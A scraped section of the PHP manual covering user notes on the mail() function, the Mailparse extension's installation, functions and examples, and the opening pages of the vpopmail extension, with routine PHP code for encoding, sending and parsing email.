When including your own custom headers try not to include a trailing \r\n at the end of the last header.  Leaving the \r\n causes an extra line-feed at the beginning of the message body, so your message will start on the second line.
Sven Riedel 10-Jul-2004 06:22
mail() requires /bin/sh to exist in Unix environments, next to a mail delivery program. This is very relevant when setting up apache in a chroot environment. Unfortunately this isn't anywhere in the documentation and took me several months to figure out.
nospam at mingo dot ath dot cx 09-May-2004 06:55
If you're using a linux server using Postfix, and your server hasn't the host name set to a valid name (because it's behind a firewall in an intranet), it's possible that when sending mails using the mail function, some mail servers reject them. This is because they can't check the return path header. If you want to change the Return-Path used by sendmail init the php.ini and edit the sendmail_path variable to this:

sendmail_path = "sendmail -t -i -F webmaster@example.com -f webmaster@example.com"
Paul 25-Feb-2004 02:51
My mime multipart/alternative messages were going ok, until I switched to qmail with php .. after years of painfull searching, I came across this on the Life With Qmail 'Gotchas' section:

G.11. Carriage Return/Linefeed (CRLF) line breaks don't work

qmail-inject and other local injection mechanisms like sendmail don't work right when messages are injected with DOS-style carriage return/linefeed (CRLF) line breaks. Unlike Sendmail, qmail requires locally-injected messages to use Unix newlines (LF only). This is a common problem with PHP scripts.

So now, I can go back to sending emails with text AND html components :)
roberto dot silva at mexicoshipping dot net 23-Jan-2004 04:16
If you can't use or don't understand how to use the sendmail program from linux, you can use a PEAR object to send mail.

<?php
include("Mail.php");

$recipients = "mailto@example.com";

$headers["From"]    = "mailfrom@example.com";
$headers["To"]      = "mailto@example.com";
$headers["Subject"] = "Test message";

$body = "TEST MESSAGE!!!";

$params["host"] = "example.com";
$params["port"] = "25";
$params["auth"] = true;
$params["username"] = "user";
$params["password"] = "password";

// Create the mail object using the Mail::factory method
$mail_object =& Mail::factory("smtp", $params);

$mail_object->send($recipients, $headers, $body);
?>

In my case, i use a smtp server that require authentication, and sendmail configuration is almost cryptic to me.

PEAR is already installed in PHP 4.0.3 , if not, you must go to http://pear.php.net/ and install it, in my case, I needed to add the Socket.php to the PEAR library.
f dot touchard at laposte dot net 30-Jan-2003 07:46
***Encoding plain text as quoted-printable in MIME email***

If you don't want to install IMAP and use imap_8bit() to encode plain text or html message as quoted-printable
(friendly french special characters encoding :-) in MIME email, try this function.
I haven't fully tested it ( like with microtime with long mails). I send html message as 7-bit, so I didn't try yet with html.
If you have good html practise, you don't really need to encode html as quote-printable as it only uses 7-bit chars.
F.Touchard

<?php
function qp_encoding($Message) {

    /* Build (most polpular) Extended ASCII Char/Hex MAP (characters >127 & <255) */
    for ($i=0; $i<127; $i++) {
        $CharList[$i] = "/".chr($i+128)."/";
        $HexList[$i] = "=".strtoupper(bin2hex(chr($i+128)));
    }

    /* Encode equal sign & 8-bit characters as equal signs followed by their hexadecimal values */
    $Message = str_replace("=", "=3D", $Message);
    $Message = preg_replace($CharList, $HexList, $Message);

    /* Lines longer than 76 characters (size limit for quoted-printable Content-Transfer-Encoding)
        will be cut after character 75 and an equals sign is appended to these lines. */
    $MessageLines = split("\n", $Message);
    $Message_qp = "";
    while(list(, $Line) = each($MessageLines)) {
        if (strlen($Line) > 75) {
            $Pointer = 0;
            while ($Pointer <= strlen($Line)) {
                $Offset = 0;
                if (preg_match("/^=(3D|([8-9A-F]{1}[0-9A-F]{1}))$/", substr($Line, ($Pointer+73), 3))) $Offset=-2;
                if (preg_match("/^=(3D|([8-9A-F]{1}[0-9A-F]{1}))$/", substr($Line, ($Pointer+74), 3))) $Offset=-1;
                $Message_qp.= substr($Line, $Pointer, (75+$Offset))."=\n";
                if ((strlen($Line) - ($Pointer+75)) <= 75) {
                    $Message_qp.= substr($Line, ($Pointer+75+$Offset))."\n";
                    break 1;
                }
                $Pointer+= 75+$Offset;
            }
        } else {
            $Message_qp.= $Line."\n";
        }
    }
    return $Message_qp;
}
?>
gordon at kanazawa-gu dot ac dot jp 28-Dec-2002 06:04
If your server doesn't have mb_send_mail() enabled but you want to use non-ascii (multi-byte) chars in an email's subject or name headers, you can use something like the following:

<?php
$charset = "iso-2202-jp"; // japanese
$to = encode("japanese name 01", $charset) . " <to@example.com>";
$from = encode("japanese name 02", $charset) . " <from@example.com>";
$subject = encode("japanese text");
$message = "does not need to be encoded";
mail($to, $subject, $message, $from);

function encode($in_str, $charset) {
    $out_str = $in_str;
    if ($out_str && $charset) {

        // define start delimimter, end delimiter and spacer
        $end = "?=";
        $start = "=?" . $charset . "?B?";
        $spacer = $end . "\r\n " . $start;

        // determine length of encoded text within chunks
        // and ensure length is even
        $length = 75 - strlen($start) - strlen($end);

        /*
            [EDIT BY danbrown AT php DOT net: The following
            is a bugfix provided by (gardan AT gmx DOT de)
            on 31-MAR-2005 with the following note:
            "This means: $length should not be even,
            but divisible by 4. The reason is that in
            base64-encoding 3 8-bit-chars are represented
            by 4 6-bit-chars. These 4 chars must not be
            split between two encoded words, according
            to RFC-2047.
        */
        $length = $length - ($length % 4);

        // encode the string and split it into chunks
        // with spacers after each chunk
        $out_str = base64_encode($out_str);
        $out_str = chunk_split($out_str, $length, $spacer);

        // remove trailing spacer and
        // add start and end delimiters
        $spacer = preg_quote($spacer);
        $out_str = preg_replace("/" . $spacer . "$/", "", $out_str);
        $out_str = $start . $out_str . $end;
    }
    return $out_str;
}
// for details on Message Header Extensions
// for Non-ASCII Text see ...
// http://www.faqs.org/rfcs/rfc2047.html

?>
stevenlim at Edinburgh-Consulting dot com 06-Sep-2002 12:53
How to detect a bounce email

1. make sure the email you send out have the header
"Return-Path: detect-bounce@example.com\r\n",
&
"Return-Receipt-To: bounce@example.com\r\n"

2. setup this detect-bounce mail account at your mail server

3. redirect the incoming mail from this email account to your php script (check your mail server doc on how do this)

4. your php script will then be able to process the incoming email in whatever way you like, including to detect bounce mail message (use regexp search).

Note that the mail will be not be store after the mail server has redirect to your script.  If you want to store it, you need additional code in your script

Hope the above help

Steven Lim
IT Consultant
ezmlm_hash
Mailparse
Mail Functions


Mailparse

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Mailparse Functions
    • mailparse_determine_best_xfer_encoding — Gets the best way of encoding
    • mailparse_msg_create — Create a mime mail resource
    • mailparse_msg_extract_part_file — Extracts/decodes a message section
    • mailparse_msg_extract_part — Extracts/decodes a message section
    • mailparse_msg_extract_whole_part_file — Extracts a message section including headers without decoding the transfer encoding
    • mailparse_msg_free — Frees a MIME resource
    • mailparse_msg_get_part_data — Returns an associative array of info about the message
    • mailparse_msg_get_part — Returns a handle on a given section in a mimemessage
    • mailparse_msg_get_structure — Returns an array of mime section names in the supplied message
    • mailparse_msg_parse_file — Parses a file
    • mailparse_msg_parse — Incrementally parse data into buffer
    • mailparse_rfc822_parse_addresses — Parse RFC 822 compliant addresses
    • mailparse_stream_encode — Streams data from source file pointer, apply encoding and write to destfp
    • mailparse_uudecode_all — Scans the data from fp and extract each embedded uuencoded file

User Contributed Notes

There are no user contributed notes for this page.
mail
Introduction
Mail Related Extensions


Introduction

Mailparse is an extension for parsing and working with email messages. It can deal with » RFC 822 and » RFC 2045 (MIME) compliant messages.

Mailparse is stream based, which means that it does not keep in-memory copies of the files it processes - so it is very resource efficient when dealing with large messages.

Note:

Mailparse requires the mbstring extension, and mbstring must be loaded before mailparse.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 4.2.0.

User Contributed Notes

There are no user contributed notes for this page.
Mailparse
Installing/Configuring
Mailparse


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Mailparse


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mailparse.

In order to use these functions you must compile PHP with mailparse support by using the --enable-mailparse configure option.

Windows users will enable php_mailparse.dll inside of php.ini in order to use these functions. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

tlane at inmage dot com 01-Sep-2010 05:33
With php-5.2.14, configure completes with message that "--enable-mailparse" is unknown:

Thank you for using PHP.

Notice: Following unknown configure options were used:

--enable-mailparse
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mailparse configuration options
Name | Default | Changeable | Changelog
mailparse.def_charset | "us-ascii" | PHP_INI_ALL | Available since PHP 4.1.0. Removed in PHP 4.2.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MAILPARSE_EXTRACT_OUTPUT (integer)
MAILPARSE_EXTRACT_STREAM (integer)
MAILPARSE_EXTRACT_RETURN (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Mailparse Functions
Mailparse


Mailparse Functions

Table of Contents

  • mailparse_determine_best_xfer_encoding — Gets the best way of encoding
  • mailparse_msg_create — Create a mime mail resource
  • mailparse_msg_extract_part_file — Extracts/decodes a message section
  • mailparse_msg_extract_part — Extracts/decodes a message section
  • mailparse_msg_extract_whole_part_file — Extracts a message section including headers without decoding the transfer encoding
  • mailparse_msg_free — Frees a MIME resource
  • mailparse_msg_get_part_data — Returns an associative array of info about the message
  • mailparse_msg_get_part — Returns a handle on a given section in a mimemessage
  • mailparse_msg_get_structure — Returns an array of mime section names in the supplied message
  • mailparse_msg_parse_file — Parses a file
  • mailparse_msg_parse — Incrementally parse data into buffer
  • mailparse_rfc822_parse_addresses — Parse RFC 822 compliant addresses
  • mailparse_stream_encode — Streams data from source file pointer, apply encoding and write to destfp
  • mailparse_uudecode_all — Scans the data from fp and extract each embedded uuencoded file

User Contributed Notes

iwarner at triangle-solutions dot com 21-May-2004 08:31
Also dont forget to LOAD mbstring before you load mailparse

example in the php.ini place in this order:

extension=php_mbstring.dll
extension=php_mailparse.dll

Or you will get an error.

Ian
boris at gamate dot com 12-Sep-2003 06:11
Example how to handle mail content from a variable:

<?php

$buffer = [...] // Mail Content from pipe or whatever

$mail = mailparse_msg_create();
mailparse_msg_parse($mail,$buffer);
$struct = mailparse_msg_get_structure($mail);

foreach($struct as $st) {
    $section = mailparse_msg_get_part($mail, $st);
    $info = mailparse_msg_get_part_data($section);

    print_r($info);
}

?>
wberrier at yahoo dot com 09-Jul-2002 12:45
[Authors note:
The tarball for 4.2.x can be found here:
http://thebrainroom.com/opensource/php/mailparse.php
and contains a script called try.php that demonstrates the usage of these functions.
]

I've pasted the contents of the file below:

<?php
/*
 * This is a simple email viewer.
 * make sure that $filename points to a file containing an email message and
 * load this page in your browser.
 * You will be able to choose a part to view.
 * */

$filename = "uumsg";

/* parse the message and return a mime message resource */
$mime = mailparse_msg_parse_file($filename);
/* return an array of message parts - this contsists of the names of the parts
 * only */
$struct = mailparse_msg_get_structure($mime);

echo "<table>\n";
/* print a choice of sections */
foreach($struct as $st) {
        echo "<tr>\n";
        echo "<td><a href=\"$PHP_SELF?showpart=$st\">$st</a></td>\n";
        /* get a handle on the message resource for a subsection */
        $section = mailparse_msg_get_part($mime, $st);
        /* get content-type, encoding and header information for that section */
        $info = mailparse_msg_get_part_data($section);
        echo "\n";
        echo "<td>" . $info["content-type"] . "</td>\n";
        echo "<td>" . $info["content-disposition"] . "</td>\n";
        echo "<td>" . $info["disposition-filename"] . "</td>\n";
        echo "<td>" . $info["charset"] . "</td>\n";
        echo "</tr>";
}
echo "</table>";

/* if we were called to display a part, do so now */
if ($showpart)  {
        /* get a handle on the message resource for the desired part */
        $sec = mailparse_msg_get_part($mime, $showpart);

        echo "<table border=1><tr><th>Section $showpart</th></tr><tr><td>";
        ob_start();
        /* extract the part from the message file and dump it to the output buff
er
         * */
        mailparse_msg_extract_part_file($sec, $filename);
        $contents = ob_get_contents();
        ob_end_clean();
        /* quote the message for safe display in a browser */
        echo nl2br(htmlentities($contents)) . "</td></tr></table>";;
}
?>
Predefined Constants
mailparse_determine_best_xfer_encoding
Mailparse


Gets the best way of encoding

Mailparse Functions
mailparse_msg_create
Mailparse Functions
PHP Manual

mailparse_determine_best_xfer_encoding

(PECL mailparse >= 0.9.0)

mailparse_determine_best_xfer_encoding — Gets the best way of encoding

Description

string mailparse_determine_best_xfer_encoding ( resource $fp )

Figures out the best way of encoding the content read from the given file pointer.

Parameters

fp

A valid file pointer, which must be seek-able.

Return Values

Returns one of the character encodings supported by the mbstring module.

Examples

Example #1 mailparse_determine_best_xfer_encoding() example

<?php

$fp = fopen('somemail.eml', 'r');
echo 'Best encoding: ' . mailparse_determine_best_xfer_encoding($fp);

?>

The above example will output something similar to:

Best encoding: 7bit

User Contributed Notes

matej dot kovac at gmail dot com 20-Nov-2011 11:12
As of mailparse-2.1.5, it can return 7bit, 8bit, base64 and qprint. False on mbstring failure.
mileskeaton at gmail dot com 02-Jan-2009 11:16
As far as I can tell, this only returns one of two strings: 'Quoted-Printable' or '7bit'
Mailparse Functions
mailparse_msg_create
Mailparse Functions


Create a mime mail resource

mailparse_determine_best_xfer_encoding
mailparse_msg_extract_part_file
Mailparse Functions
PHP Manual

mailparse_msg_create

(PECL mailparse >= 0.9.0)

mailparse_msg_create — Create a mime mail resource

Description

resource mailparse_msg_create ( void )

Create a MIME mail resource.

Return Values

Returns a handle that can be used to parse a message.

See Also

  • mailparse_msg_free() - Frees a MIME resource
  • mailparse_msg_parse_file() - Parses a file

User Contributed Notes

There are no user contributed notes for this page.
mailparse_determine_best_xfer_encoding
mailparse_msg_extract_part_file
Mailparse Functions


Extracts/decodes a message section

mailparse_msg_create
mailparse_msg_extract_part
Mailparse Functions
PHP Manual

mailparse_msg_extract_part_file

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_part_file — Extracts/decodes a message section

Description

string mailparse_msg_extract_part_file ( resource $mimemail , mixed $filename [, callback $callbackfunc ] )

Extracts/decodes a message section from the supplied filename.

The contents of the section will be decoded according to their transfer encoding - base64, quoted-printable and uuencoded text are supported.

Parameters

mimemail

A valid MIME resource, created with mailparse_msg_create().

filename

Can be a file name or a valid stream resource.

callbackfunc

If set, this must be either a valid callback that will be passed the extracted section, or NULL to make this function return the extracted section.

If not specified, the contents will be sent to "stdout".

Return Values

If callbackfunc is not NULL returns TRUE on success.

If callbackfunc is set to NULL, returns the extracted section as a string.

Returns FALSE on error.

See Also

  • mailparse_msg_extract_part() - Extracts/decodes a message section
  • mailparse_msg_extract_whole_part_file() - Extracts a message section including headers without decoding the transfer encoding

User Contributed Notes

carlos at wfmh dot org dot pl 24-Feb-2009 08:15
Be aware of "corporate mails" or users who do not understand character encoding too deeply (or do not care). You may (as we did) face mail where the whole mail body is encoded used i.e. Latin2 (and iso-8859-2 is given in multipart's charset header) but at the same time the body also contains text footer with UTF-8 characters in it... Yes, fu*g Microsoft Exchange V6.5 frontent will show that fine on the screen, but if when receive it:

mailparse_msg_extract_part_file() - filter conversion failed. Input message is probably incorrectly encoded in ....

so be extra careful and deal with all the possible errors to avoid mail loss.
per at computer dot org 21-Oct-2004 01:09
mailparse_msg_extract_part_file() does not support file-wrappers as it needs to be able to use seek() on the file.
mailparse_msg_create
mailparse_msg_extract_part
Mailparse Functions


Extracts/decodes a message section

mailparse_msg_extract_part_file
mailparse_msg_extract_whole_part_file
Mailparse Functions
PHP Manual

mailparse_msg_extract_part

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_part — Extracts/decodes a message section

Description

void mailparse_msg_extract_part ( resource $mimemail , string $msgbody [, callback $callbackfunc ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

mimemail

A valid MIME resource.

msgbody

callbackfunc

Return Values

No value is returned.

See Also

  • mailparse_msg_extract_part_file() - Extracts/decodes a message section
  • mailparse_msg_extract_whole_part_file() - Extracts a message section including headers without decoding the transfer encoding

User Contributed Notes

marlinf {at} datashaman {dot} com 11-Jan-2008 02:13
With ref to previous comment re: callback:

If you explicitly specify NULL as the callback parameter, the complete section is extracted, decoded and returned, without the need for a callback.
Will 04-Jan-2007 12:12
In mailparse version 2.1.1 (and perhaps earlier), when using mailparse_msg_extract_part() with a callback function, it breaks the data it passes to it into 4kB chunks and calls the callback function for each chunk.  So, for example, if it's extracting a 41kB MIME part, the callback function you define will be called 11 times, each time with the next chunk of data.  Here's some quick-and-dirty code that shows one way to handle this:

<?php
    $message = file_get_contents ("email.txt"); // Pull in the e-mail.

    function catch_part ($part)
    {
        $GLOBALS["part_data"] .= $part; // Append the data onto any previously extracted data.
    }

    mailparse_msg_extract_part ("1.1", $message, "catch_part"); // Extract MIME part 1.1
    echo $GLOBALS["part_data"]; // Print out the extracted part.
?>

There's probably a much better way of dealing with this, but hey.  It's what I got.
php at cdauth dot de 07-Jun-2006 12:01
substr() uses the string length, not the position as third argument. The corrected version of the following code line:
<?php
$parts[$s] = substr($file_txt, $starting_pos_body, $ending_pos_body-$starting_pos_body);
?>
steve at tequilasolutions dot com 06-Apr-2006 10:36
Unless I've missed something obvious:

get_structure returns array(1,1.1,1.1.2) etc but its not easy to get the contents of each part as mailparse_msg_extract_part() and mailparse_msg_extract_part_file() just return the lot.  However get_part_data will return the string offsets so you know where to chop the message so you can get the contents of the parts.

Only issue is get_part_data returns:
    [starting-pos] => 0
    [starting-pos-body] => 1412
    [ending-pos] => 14989
    [ending-pos-body] => 14989

Unless I'm missed something else, theres a bug here as ending-pos is the same as ending-pos-body so it won't chop the contents cleanly, leaving the:

------=_NextPart_000_0069_01C659A6.9072E590--

...as supposedly part of the section contents.

$file = "..../mail"; // path of your mail
$file_txt = implode("",file($file));
$parse = mailparse_msg_parse_file($file);
$structure = mailparse_msg_get_structure($parse);
// chop message parts into array
$parts = array();
foreach ($structure as $s){
    print "Part $s\n";
    print "--------------------------------------\n";
    $part = mailparse_msg_get_part($parse, $s);
    $part_data = mailparse_msg_get_part_data($part);
    print_r($part_data);
    $starting_pos_body = $part_data['starting-pos-body'];
    $ending_pos_body    = $part_data['ending-pos-body'];
    $parts[$s] = substr($file_txt,$starting_pos_body,$ending_pos_body); // copy data into array
    print "[".$parts[$s]."]";
    print "\n------------------------------------\n";
}
mailparse_msg_extract_part_file
mailparse_msg_extract_whole_part_file
Mailparse Functions


Extracts a message section including headers without decoding the transfer encoding

mailparse_msg_extract_part
mailparse_msg_free
Mailparse Functions
PHP Manual

mailparse_msg_extract_whole_part_file

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_whole_part_file — Extracts a message section including headers without decoding the transfer encoding

Description

string mailparse_msg_extract_whole_part_file ( resource $mimemail , string $filename [, callback $callbackfunc ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

mimemail

A valid MIME resource.

filename

callbackfunc

Return Values

See Also

  • mailparse_msg_extract_part() - Extracts/decodes a message section
  • mailparse_msg_extract_part_file() - Extracts/decodes a message section

User Contributed Notes

There are no user contributed notes for this page.
mailparse_msg_extract_part
mailparse_msg_free
Mailparse Functions


Frees a MIME resource

mailparse_msg_extract_whole_part_file
mailparse_msg_get_part_data
Mailparse Functions
PHP Manual

mailparse_msg_free

(PECL mailparse >= 0.9.0)

mailparse_msg_free — Frees a MIME resource

Description

bool mailparse_msg_free ( resource $mimemail )

Frees a MIME resource.

Parameters

mimemail

A valid MIME resource allocated by mailparse_msg_create() or mailparse_msg_parse_file().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mailparse_msg_create() - Create a mime mail resource
  • mailparse_msg_parse_file() - Parses a file

User Contributed Notes

There are no user contributed notes for this page.
mailparse_msg_extract_whole_part_file
mailparse_msg_get_part_data
Mailparse Functions


Returns an associative array of info about the message

mailparse_msg_free
mailparse_msg_get_part
Mailparse Functions
PHP Manual

mailparse_msg_get_part_data

(PECL mailparse >= 0.9.0)

mailparse_msg_get_part_data — Returns an associative array of info about the message

Description

array mailparse_msg_get_part_data ( resource $mimemail )
Warning

This function is currently not documented; only its argument list is available.

Parameters

mimemail

A valid MIME resource.

User Contributed Notes

There are no user contributed notes for this page.
mailparse_msg_free
mailparse_msg_get_part
Mailparse Functions


Returns a handle on a given section in a mimemessage

mailparse_msg_get_part_data
mailparse_msg_get_structure
Mailparse Functions
PHP Manual

mailparse_msg_get_part

(PECL mailparse >= 0.9.0)

mailparse_msg_get_part — Returns a handle on a given section in a mimemessage

Description

resource mailparse_msg_get_part ( resource $mimemail , string $mimesection )
Warning

This function is currently not documented; only its argument list is available.

Parameters

mimemail

A valid MIME resource.

mimesection

User Contributed Notes

There are no user contributed notes for this page.
mailparse_msg_get_part_data
mailparse_msg_get_structure
Mailparse Functions


Returns an array of mime section names in the supplied message

mailparse_msg_get_part
mailparse_msg_parse_file
Mailparse Functions
PHP Manual

mailparse_msg_get_structure

(PECL mailparse >= 0.9.0)

mailparse_msg_get_structure — Returns an array of mime section names in the supplied message

Description

array mailparse_msg_get_structure ( resource $mimemail )
Warning

This function is currently not documented; only its argument list is available.

Parameters

mimemail

A valid MIME resource.

User Contributed Notes

There are no user contributed notes for this page.
mailparse_msg_get_part
mailparse_msg_parse_file
Mailparse Functions


Parses a file

mailparse_msg_get_structure
mailparse_msg_parse
Mailparse Functions
PHP Manual

mailparse_msg_parse_file

(PECL mailparse >= 0.9.0)

mailparse_msg_parse_file — Parses a file

Description

resource mailparse_msg_parse_file ( string $filename )

Parses a file. This is the optimal way of parsing a mail file that you have on disk.

Parameters

filename

Path to the file holding the message. The file is opened and streamed through the parser.

Return Values

Returns a MIME resource representing the structure, or FALSE on error.

See Also

  • mailparse_msg_free() - Frees a MIME resource
  • mailparse_msg_create() - Create a mime mail resource

User Contributed Notes

There are no user contributed notes for this page.
mailparse_msg_get_structure
mailparse_msg_parse
Mailparse Functions


Incrementally parse data into buffer

mailparse_msg_parse_file
mailparse_rfc822_parse_addresses
Mailparse Functions
PHP Manual

mailparse_msg_parse

(PECL mailparse >= 0.9.0)

mailparse_msg_parse — Incrementally parse data into buffer

Description

bool mailparse_msg_parse ( resource $mimemail , string $data )

Incrementally parse data into the supplied mime mail resource.

This function allow you to stream portions of a file at a time, rather than read and parse the whole thing.

Parameters

mimemail

A valid MIME resource.

data

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
mailparse_msg_parse_file
mailparse_rfc822_parse_addresses
Mailparse Functions


Parse RFC 822 compliant addresses

mailparse_msg_parse
mailparse_stream_encode
Mailparse Functions
PHP Manual

mailparse_rfc822_parse_addresses

(PECL mailparse >= 0.9.0)

mailparse_rfc822_parse_addresses — Parse RFC 822 compliant addresses

Description

array mailparse_rfc822_parse_addresses ( string $addresses )

Parses a » RFC 822 compliant recipient list, such as that found in the To: header.

Parameters

addresses

A string containing addresses, like in: Wez Furlong <wez@example.com>, doe@example.com

Note:

This string must not include the header name.

Return Values

Returns an array of associative arrays with the following keys for each recipient:

display | The recipient name, for display purpose. If this part is not set for a recipient, this key will hold the same value as address.
address | The email address
is_group | TRUE if the recipient is a newsgroup, FALSE otherwise.

Examples

Example #1 mailparse_rfc822_parse_addresses() example

<?php

$to = 'Wez Furlong <wez@example.com>, doe@example.com';
var_dump(mailparse_rfc822_parse_addresses($to));

?>

The above example will output:

array(2) {
  [0]=>
  array(3) {
    ["display"]=>
    string(11) "Wez Furlong"
    ["address"]=>
    string(15) "wez@example.com"
    ["is_group"]=>
    bool(false)
  }
  [1]=>
  array(3) {
    ["display"]=>
    string(15) "doe@example.com"
    ["address"]=>
    string(15) "doe@example.com"
    ["is_group"]=>
    bool(false)
  }
}

User Contributed Notes

dancablam 06-May-2007 11:05
To just extract the email address out of an RFC822 line, it's faster and more reliable to just use a simple regex such as:

<?php
$rfc = '"Bob Smith" <bob@smith.com>';
preg_match('/[\\w\\.\\-+=*_]*@[\\w\\.\\-+=*_]*/', $rfc , $regs);
$parsed = $regs[0];
?>

The above code will pull out: bob@smith.com

No matter the variation of the RFC822 line, as long as there's a valid email address in it somewhere, the above regex will find it.
24-Nov-2004 04:12
An alternative to the mailparse_rfc822_parse_addresses() function is Mail_RFC822::parseAddressList() from Pear:

http://pear.php.net/manual/en/package.mail.mail.php

It parses the string and returns a structured tree of data. Returns a pear_error object if the string is not valid.

Example:

require_once "PEAR.php";
require_once "Mail/RFC822.php";

$addr= "Hi <hi@world.org>";

$res= Mail_RFC822::parseAddressList($addr);
if (PEAR::isError($res)) die("NOT VALID: " . $res->getMessage() . "\n");
echo "OK. Data:\n";
print_r($res);
mat at phpconsulting dot com 24-Apr-2003 09:59
If for some reason you cannot compile mailparse into your install of PHP, you will also find an extremely similar function in the Mail_MIME PEAR class, specifically in mimeDecode.php.
mailparse_msg_parse
mailparse_stream_encode
Mailparse Functions


Streams data from source file pointer, apply encoding and write to destfp

mailparse_rfc822_parse_addresses
mailparse_uudecode_all
Mailparse Functions
PHP Manual

mailparse_stream_encode

(PECL mailparse >= 0.9.0)

mailparse_stream_encode — Streams data from source file pointer, apply encoding and write to destfp

Description

bool mailparse_stream_encode ( resource $sourcefp , resource $destfp , string $encoding )

Streams data from the source file pointer, apply encoding and write to the destination file pointer.

Parameters

sourcefp

A valid file handle. The file is streamed through the parser.

destfp

The destination file handle in which the encoded data will be written.

encoding

One of the character encodings supported by the mbstring module.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mailparse_stream_encode() example

<?php

// email.eml contents: hello, this is some text=hello.
$fp = fopen('email.eml', 'r');

$dest = tmpfile();

mailparse_stream_encode($fp, $dest, "quoted-printable");

rewind($dest);

// Display new file contents
fpassthru($dest);

?>

The above example will output:

hello, this is some text=3Dhello.

User Contributed Notes

There are no user contributed notes for this page.
mailparse_rfc822_parse_addresses
mailparse_uudecode_all
Mailparse Functions


Scans the data from fp and extract each embedded uuencoded file

mailparse_stream_encode
vpopmail
Mailparse Functions
PHP Manual

mailparse_uudecode_all

(PECL mailparse >= 0.9.0)

mailparse_uudecode_all — Scans the data from fp and extract each embedded uuencoded file

Description

array mailparse_uudecode_all ( resource $fp )

Scans the data from the given file pointer and extract each embedded uuencoded file into a temporary file.

Parameters

fp

A valid file pointer.

Return Values

Returns an array of associative arrays listing filename information.

filename | Path to the temporary file name created
origfilename | The original filename, for uuencoded parts only
The first filename entry is the message body. The next entries are the decoded uuencoded files.

Examples

Example #1 mailparse_uudecode_all() example

<?php

$text = <<<EOD
To: fred@example.com

hello, this is some text hello.
blah blah blah.

begin 644 test.txt
/=&AI<R!I<R!A('1E<W0*
`
end

EOD;

$fp = tmpfile();
fwrite($fp, $text);

$data = mailparse_uudecode_all($fp);

echo "BODY\n";
readfile($data[0]["filename"]);
echo "UUE ({$data[1]['origfilename']})\n";
readfile($data[1]["filename"]);

// Clean up
unlink($data[0]["filename"]);
unlink($data[1]["filename"]);

?>

The above example will output:

BODY
To: fred@example.com

hello, this is some text hello.
blah blah blah.

UUE (test.txt)
this is a test

User Contributed Notes

mat at phpconsulting dot com 24-Apr-2003 10:04
As an alternative,  uudecode() can be called as static function as follows:

$file =& Mail_mimeDecode::uudecode($some_text);

This will return the following arrays:
 @param  string Input body to look for attachments in
 @return array  Decoded bodies, filenames and permissions
mailparse_stream_encode
vpopmail
Mailparse Functions


vpopmail

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • vpopmail Functions
    • vpopmail_add_alias_domain_ex — Add alias to an existing virtual domain
    • vpopmail_add_alias_domain — Add an alias for a virtual domain
    • vpopmail_add_domain_ex — Add a new virtual domain
    • vpopmail_add_domain — Add a new virtual domain
    • vpopmail_add_user — Add a new user to the specified virtual domain
    • vpopmail_alias_add — Insert a virtual alias
    • vpopmail_alias_del_domain — Deletes all virtual aliases of a domain
    • vpopmail_alias_del — Deletes all virtual aliases of a user
    • vpopmail_alias_get_all — Get all lines of an alias for a domain
    • vpopmail_alias_get — Get all lines of an alias for a domain
    • vpopmail_auth_user — Attempt to validate a username/domain/password
    • vpopmail_del_domain_ex — Delete a virtual domain
    • vpopmail_del_domain — Delete a virtual domain
    • vpopmail_del_user — Delete a user from a virtual domain
    • vpopmail_error — Get text message for last vpopmail error
    • vpopmail_passwd — Change a virtual user's password
    • vpopmail_set_user_quota — Sets a virtual user's quota

User Contributed Notes

There are no user contributed notes for this page.
mailparse_uudecode_all
Introduction
Mail Related Extensions


Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

This extension has been moved from PHP as of PHP 4.3.0 and now vpopmail lives in » PECL.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail
Installing/Configuring
vpopmail


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
vpopmail


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/vpopmail.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
vpopmail Functions
vpopmail


vpopmail Functions

Table of Contents

  • vpopmail_add_alias_domain_ex — Add alias to an existing virtual domain
  • vpopmail_add_alias_domain — Add an alias for a virtual domain
  • vpopmail_add_domain_ex — Add a new virtual domain
  • vpopmail_add_domain — Add a new virtual domain
  • vpopmail_add_user — Add a new user to the specified virtual domain
  • vpopmail_alias_add — Insert a virtual alias
  • vpopmail_alias_del_domain — Deletes all virtual aliases of a domain
